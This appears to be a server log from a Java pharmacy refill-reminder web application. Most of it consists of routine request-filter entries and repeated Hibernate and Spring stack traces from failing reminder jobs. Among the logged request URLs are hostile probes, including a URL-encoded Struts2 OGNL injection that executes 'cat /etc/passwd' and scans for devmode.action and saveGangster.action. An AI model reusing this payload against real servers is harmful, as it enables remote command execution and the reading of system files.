2024-02-25 18:07:52 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 18:07:52 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 18:07:52 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:07:52 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:07:52 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-25 18:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 18:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 18:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 18:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 18:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 18:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 18:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 18:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 18:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:12:05 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:12:05 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:12:05 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 18:12:05 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 18:12:05 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 18:12:05 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:12:05 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:12:05 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/$%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,%23a=@java.lang.Runtime@getRuntime().exec('cat%20/etc/passwd').getInputStream(),%23b=new%20java.io.InputStreamReader(%23a),%23c=new%20%20java.io.BufferedReader(%23b),%23d=new%20char%5B51020%5D,%23c.read(%23d),%23sbtest=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23sbtest.println(%23d),%23sbtest.close())%7D/actionChain1.action 2024-02-25 18:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 18:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 18:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 18:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 18:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 18:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 18:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 18:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 18:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:15:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 18:15:44 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/devmode.action 2024-02-25 18:15:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 18:15:44 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login.action 2024-02-25 18:15:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 18:15:44 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/index.action 2024-02-25 18:15:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 18:15:44 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:15:44 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/user.action 2024-02-25 18:15:44 INFO PermissionDAO:436 - Begin: PermissionDAO -> getUserByName 2024-02-25 18:15:44 INFO PermissionDAO:447 - Begin: PermissionDAO -> getUserByName 2024-02-25 18:15:44 ERROR RequestFilter:222 - ServletException: RequestFilter -> doFilter org.springframework.web.util.NestedServletException: Request processing failed; nested exception is java.lang.NullPointerException at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:978) at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:868) at javax.servlet.http.HttpServlet.service(HttpServlet.java:648) at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:842) at javax.servlet.http.HttpServlet.service(HttpServlet.java:729) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:292) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:207) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:240) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:207) at com.ssa.cms.filter.RequestFilter.doFilter(RequestFilter.java:123) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:240) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:207) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:212) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:106) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:502) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:141) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:79) at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:616) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:88) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:522) at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1095) at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:672) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1500) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.run(NioEndpoint.java:1456) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:748) Caused by: java.lang.NullPointerException at com.ssa.cms.controller.LoginController.validate(LoginController.java:160) at com.ssa.cms.controller.LoginController.addCustomer(LoginController.java:100) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:221) at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:137) at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:110) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandleMethod(RequestMappingHandlerAdapter.java:777) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:706) at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:85) at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:943) at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:877) at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:966) ... 28 more 2024-02-25 18:15:44 INFO RequestFilter:227 - End: RequestFilter -> doFilter 2024-02-25 18:16:33 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:16:33 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:16:33 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 18:16:33 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 18:16:33 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 18:16:33 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:16:33 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:16:33 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/integration/saveGangster.action 2024-02-25 18:17:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:17:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:17:44 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 18:17:44 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 18:17:44 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 18:17:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:17:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:17:44 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-25 18:17:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:17:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:17:45 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 18:17:45 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 18:17:45 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 18:17:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:17:45 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:17:45 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-25 18:18:49 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:18:49 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:18:49 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 18:18:49 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 18:18:49 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 18:18:49 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:18:49 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:18:49 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/index.action 2024-02-25 18:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 18:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 18:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at 